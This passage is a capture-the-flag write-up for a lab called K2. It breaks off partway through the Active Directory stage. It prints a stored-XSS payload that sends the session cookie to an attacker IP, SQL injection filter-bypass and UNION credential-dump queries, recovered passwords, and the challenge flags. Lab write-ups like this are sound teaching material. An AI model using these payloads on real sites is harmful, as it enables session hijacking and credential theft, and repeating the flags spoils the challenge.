K2
Table of Contents
Related: Cross-Site Scripting JSON Web Tokens SQL Injection Broken Authentication Security Misconfiguration Kerberos BloodHound
Description
Multi-stage engagement across three linked environments: a web application foothold (Base Camp), pivoting into an Active Directory domain (Middle Camp), and a final domain controller target (Summit, incomplete).
Base Camp
Enumeration
Port scan
nmap -sV 10.128.190.194
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 80/tcp open http nginx 1.18.0 (Ubuntu)
Subdomain discovery
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \ -u http://k2.thm/ -H "Host:FUZZ.k2.thm" -fw 811
admin [Status: 200, Size: 967] it [Status: 200, Size: 1083]
Directory search — admin.k2.thm
feroxbuster -u 'http://admin.k2.thm' -w /usr/share/wordlists/dirb/big.txt
200 GET http://admin.k2.thm/static/style.css 200 GET http://admin.k2.thm/login 200 GET http://admin.k2.thm/ 302 GET http://admin.k2.thm/dashboard => /login 302 GET http://admin.k2.thm/logout => /login
Directory search — it.k2.thm
feroxbuster -u 'http://it.k2.thm' -w /usr/share/wordlists/dirb/big.txt
200 GET http://it.k2.thm/login 200 GET http://it.k2.thm/register 200 GET http://it.k2.thm/static/style.css 200 GET http://it.k2.thm/ 302 GET http://it.k2.thm/dashboard => /login 302 GET http://it.k2.thm/logout => /login
Foothold
Stored XSS — it.k2.thm/dashboard
The description field in the ticket submission form is vulnerable
to stored XSS.
<script>var i=new Image(); i.src="http://192.168.136.59//?cookie="+btoa(document["cookie"]);</script>
Listener:
sudo python -m http.server 80
Captured request confirms exfiltration:
10.128.191.177 - - [24/Mar/2026 07:25:10] "GET //?cookie=<base64> HTTP/1.1" 200 -
Decoded cookie value is a JWT-backed session:
session=eyJhZG1pbl91c2VybmFtZSI6ImphbWVzIiwiaWQiOjEsImxvZ2dlZGluIjp0cnVlfQ.acIuRg.PzAW8iPj_Tc7Ul7QR5FIxjwyagM
Decoded payload:
{
"admin_username": "james",
"id": 1,
"loggedin": true
}
Session hijack — admin.k2.thm
Used the captured session cookie to bypass login on the admin
subdomain directly (injected into browser storage, then refreshed
/dashboard). Authenticated as james (admin) without credentials.
SQL injection — ticket search (filtered)
Ticket search on admin.k2.thm/dashboard is vulnerable to SQLi, but
a filter blocks the obvious payload:
' OR 1=1 -- -→ blocked, redirects to/login?message=Attack+Detected.+Session+terminated.' || 1=1 -- -→ filter bypassed (ORkeyword filtered,||is not)
Data extraction:
' UNION SELECT 1,2,group_concat(admin_username,':',admin_password) FROM admin_auth -- -
Recovered credentials:
| User | Password |
|---|---|
| james | Pwd@9tLNrC3! |
| rose | VrMAogdfxW!9 |
| bob | PasSW0Rd321 |
| steve | St3veRoxx32 |
| cait | PartyAlLDaY!32 |
| xu | L0v3MyDog!3! |
| ash | PikAchu!IshoesU! |
Password reuse — SSH access
james reused the admin panel password for the box's local
james account.
ssh james@10.128.191.177 # password: Pwd@9tLNrC3!
User flag read from ~/user.txt.
Privilege Escalation
Root password disclosed in nginx logs
rose had mistakenly attempted the root password as a dashboard
login, which landed in the nginx access logs in plaintext.
Recovered password: RdzQ7MSKt)fNaz3!
Used to escalate to root directly. Root flag read from /root/root.txt.
Flags
| Flag | Value | Status |
|---|---|---|
| User flag | THM{9e04a7419a2b7a86163496271a8a95dd} | DONE |
| Root flag | THM{c6f684e3b1089cd75f205f93de9fe93d} | DONE |
Middle Camp
Enumeration
Port scan
nmap -p- -T4 10.130.135.54 -Pn -sV
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap Active Directory LDAP (Domain: k2.thm0.) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http 636/tcp open tcpwrapped 3268/tcp open ldap 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server 5985/tcp open http Microsoft HTTPAPI httpd 2.0 9389/tcp open mc-nmf
Domain: k2server.k2.thm. Host: K2SERVER.
Username enumeration — kerbrute
Candidate usernames sourced from credentials/context recovered in Base Camp.
./tools/kerbrute_linux_amd64 userenum assets/k2/usernames.txt \ --domain k2.thm --dc 10.130.135.54 | sed 's/\x1b\[[0-9;]*m//g'
[+] VALID USERNAME: r.bud@k2.thm [+] VALID USERNAME: j.bold@k2.thm Done! Tested 8 usernames (2 valid)
Foothold
Authenticated as r.bud; recovered note.txt revealing further
context/credentials us